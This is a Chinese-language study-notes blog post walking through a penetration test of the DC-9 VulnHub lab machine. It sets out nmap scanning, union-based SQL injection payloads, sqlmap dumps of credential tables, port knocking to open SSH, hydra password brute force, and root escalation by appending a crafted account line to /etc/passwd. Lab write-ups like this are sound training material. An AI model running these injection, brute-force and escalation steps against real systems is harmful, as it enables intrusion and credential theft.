引言:我的系列博客[網絡安全學習篇]上線了,小編也是初次創作博客,經驗不足;對千峯網絡信息安全開源的視頻公開課程的學習整理的筆記整理的也比較粗糙,其實看到目錄有300多集的時候,講道理,有點慫了,所以我就想到了通過寫博客(課程筆記)的形式去學習它,雖然寫博客會讓我多花幾倍的時間去學習它,但是當我完成一篇博客所獲得的成就感和你們對於我的認同感,讓我很滿足,能夠鼓勵我一天天的堅持下去,也希望和我一起學習本期視頻的"同道"們也能給一直堅持下去。我們大家一起加油。由於作者本身也是網絡信息安全小白,大部分知識點都是初次接觸,出現對其理解不深入,不完整,甚至也會出現錯誤有問題的地方,希望大家諒解、留言提出指正,同時也歡迎大家來找我一起交流學習!!!
往期博客:
第一階段:
[網絡安全學習篇1]:windowsxp、windows2003、windows7、windows2008系統部署(千峯網絡安全視頻筆記)
[網絡安全學習篇24]:漏洞與木馬(千峯網絡安全視頻筆記 p117-p118)
第二階段:
第三階段:
[網絡安全學習篇42]:靶場環境搭建(ubuntu系統安裝優化及vulhub安裝)
[網絡安全學習篇43]:PHP基礎+變量 運算符 流程控制語句
第四階段:
[網絡安全學習篇77]:滲透測試實戰-DC-9-靶機入侵(本篇)
下期博文:
[網絡安全學習篇78]:Sumo: 1.1 Vulnhub 實戰(髒牛漏洞提權)
目錄
信息收集
nmap
nmap -sP 192.168.1.2/24 -oN nmap.sP
nmap -A 192.168.1.172 -p- -oN nmap.A
whatweb
whatweb 192.168.1.172
御劍
訪問其80端口
可能存在sql注入
使用bp 抓包分析
1' union select 1,2,3,4,5,6#
”脫庫“
手動注入
1' union select 1,2,3,4,5,database()#
數據表
1' union select 1,2,3,4,5,group_concat(table_name) from information_schema.tables where table_schema = database()#
users表中字段
1' union select 1,2,3,4,5,group_concat(column_name) from information_schema.columns where table_schema=database() and table_name='Users'#
users 表中信息
1' union select 1,2,3,4,5,group_concat(UserID,Username,Password)from Users#
sqlmap
vim sqlmap.post
POST /results.php HTTP/1.1
Host: 192.168.1.172
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:68.0) Gecko/20100101 Firefox/68.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Content-Type: application/x-www-form-urlencoded
Content-Length: 121
DNT: 1
Connection: close
Referer: http://192.168.1.172/search.php
Upgrade-Insecure-Requests: 1
search=1
sqlmap -r sqlmap.post --dbs
sqlmap -r sqlmap.post -D users --tables
sqlmap -r sqlmap.post -D users -T UserDetails --dump
id | lastname | reg_date | username | firstname | password |
+------+------------+---------------------+-----------+-----------+---------------+
| 10 | Tribbiani | 2019-12-29 16:58:26 | joeyt | Joey | Passw0rd |
| 11 | Green | 2019-12-29 16:58:26 | rachelg | Rachel | yN72#dsd |
| 12 | Geller | 2019-12-29 16:58:26 | rossg | Ross | ILoveRachel |
| 13 | Geller | 2019-12-29 16:58:26 | monicag | Monica | 3248dsds7s |
| 14 | Buffay | 2019-12-29 16:58:26 | phoebeb | Phoebe | smellycats |
| 15 | McScoots | 2019-12-29 16:58:26 | scoots | Scooter | YR3BVxxxw87 |
| 16 | Trump | 2019-12-29 16:58:26 | janitor | Donald | Ilovepeepee |
| 17 | Morrison | 2019-12-29 16:58:28 | janitor2 | Scott | Hawaii-Five-0 |
| 1 | Moe | 2019-12-29 16:58:26 | marym | Mary | 3kfs86sfd |
| 2 | Dooley | 2019-12-29 16:58:26 | julied | Julie | 468sfdfsd2 |
| 3 | Flintstone | 2019-12-29 16:58:26 | fredf | Fred | 4sfd87sfd1 |
| 4 | Rubble | 2019-12-29 16:58:26 | barneyr | Barney | RocksOff |
| 5 | Cat | 2019-12-29 16:58:26 | tomc | Tom | TC&TheBoyz |
| 6 | Mouse | 2019-12-29 16:58:26 | jerrym | Jerry | B8m#48sd |
| 7 | Flintstone | 2019-12-29 16:58:26 | wilmaf | Wilma | Pebbles |
| 8 | Rubble | 2019-12-29 16:58:26 | bettyr | Betty | BamBam01 |
| 9 | Bing | 2019-12-29 16:58:26 | chandlerb | Chandler | UrAG0D!
列出當前數據庫名
sqlmap -r sqlmap.post --current-db
sqlmap -r sqlmap.post -D Staff --tables
sqlmap -r sqlmap.post -D Staff -T Users --dump
+--------+----------+----------------------------------+
| UserID | Username | Password |
+--------+----------+----------------------------------+
| 1 | admin | 856f5de590ef37314e7c3bdf6f8a66dc |
+--------+----------+----------------------------------+
MD5 在線解密 https://www.somd5.com/
得到賬密 [admin/transorbital1]
使用該賬密成功登錄網站後臺
猜測存在文件包含
使用BP 爆破
knockd-開啓ssh
開始我們測試ssh端口關閉,wp一波,發現是knockd 保護了22端口
knockd是一種端口試探服務器工具。它偵聽以太網或其他可用接口上的所有流量,等待特殊序列的端口命中(port-hit)。telnet或Putty等客戶軟件通過向服務器上的端口發送TCP或數據包來啓動端口命中,也可以直接用nc敲擊端口。
關於knockd 服務的詳細信息,https://zhuanlan.zhihu.com/p/43716885
查看器配置文件/etc/knockd.conf
File does not exist
[options] UseSyslog [openSSH] sequence = 7469,8475,9842 seq_timeout = 25 command = /sbin/iptables -I INPUT -s %IP% -p tcp --dport 22 -j ACCEPT tcpflags = syn
[closeSSH] sequence = 9842,8475,7469 seq_timeout = 25 command = /sbin/iptables -D INPUT -s %IP% -p tcp --dport 22 -j ACCEPT tcpflags = syn
也就是說我們可以通過依次命中 7469,8475,9842 端口來開啓ssh 端口
當然也可以通過依次命中 9842,8475,7469 端口來關閉ssh 端口
使用nmap 或nc 來敲擊7469,8475,9842 端口,實現敲門
nc:
nc 192.168.1.172 7469
nc 192.168.1.172 8475
nc 192.168.1.172 9842
nmap -p 22 192.168.1.172
nmap:
nmap -p 7469 192.168.1.172
nmap -p 8475 192.168.1.172
nmap -p 9842 192.168.1.172
nmap -p 22 192.168.1.172
現在靶機的22端口已經打開了
hydra爆破
前面我們在數據庫Users 中得到的用戶名和密碼可以嘗試進行爆破
構建密碼字典
vim user.dic
joeyt
rachelg
rossg
monicag
phoebeb
scoots
janitor
janitor2
marym
julied
fredf
barneyr
tomc
jerrym
wilmaf
bettyr
chandlerb
vim psswd.dic
Passw0rd
yN72#dsd
ILoveRachel
3248dsds7s
smellycats
YR3BVxxxw87
Ilovepeepee
Hawaii-Five-0
3kfs86sfd
468sfdfsd2
4sfd87sfd1
RocksOff
TC&TheBoyz
B8m#48sd
Pebbles
BamBam01
UrAG0D!
hydra -L user.dic -P passwd.dic ssh://192.168.1.172 -o hydra.ssh -vV
[22][ssh] host: 192.168.1.172 login: janitor password: Ilovepeepee
[22][ssh] host: 192.168.1.172 login: chandlerb password: UrAG0D!
janitor 用戶成功登錄
使用ls -la 命令查看是否存在隱藏文件
在隱藏文件目錄下得到登錄密碼
vim passwd2.dic
BamBam01
Passw0rd
smellycats
P0Lic#10-4
B4-Tru3-001
4uGU5T-NiGHts
hydra -L user.dic -P passwd2.dic ssh://192.168.1.172
[22][ssh] host: 192.168.1.172 login: fredf password: B4-Tru3-001
使用 fredf 用戶成功登錄
提權
sudo -l
find /opt/ -name "test.py"
sys.argv[] 第一個參數就是程序本身即test.py,我們可以再傳入兩個參數
當傳入的參數爲三個時,會執行else 分支,會將第二個參數的讀出寫入到第三個的末尾,後面兩個參數如何構造很關鍵
我們想到了 可以在構建一個新的用戶,使其具有root 權限
ggg:$1$zvluQcGrrxmrJD3E$B0NB.AXX2HLDgl1kxJxqKoYj7T3uksMrSh0oYgrmm5ILJw.OschYBPlHUAHDsyjJKfbILfmKykLN8xHTgdQi80:0:0:root:/root:/bin/bash
將其寫入到一個/tmp/sroot 文件中 /tmp/sroot 作爲第二個參數,將其內容讀出,寫入到/etc/passwd 文件中,那第三個參數自然就是/etc/passwd
輸入passwd:root 成功提權
拿到flag
參考文獻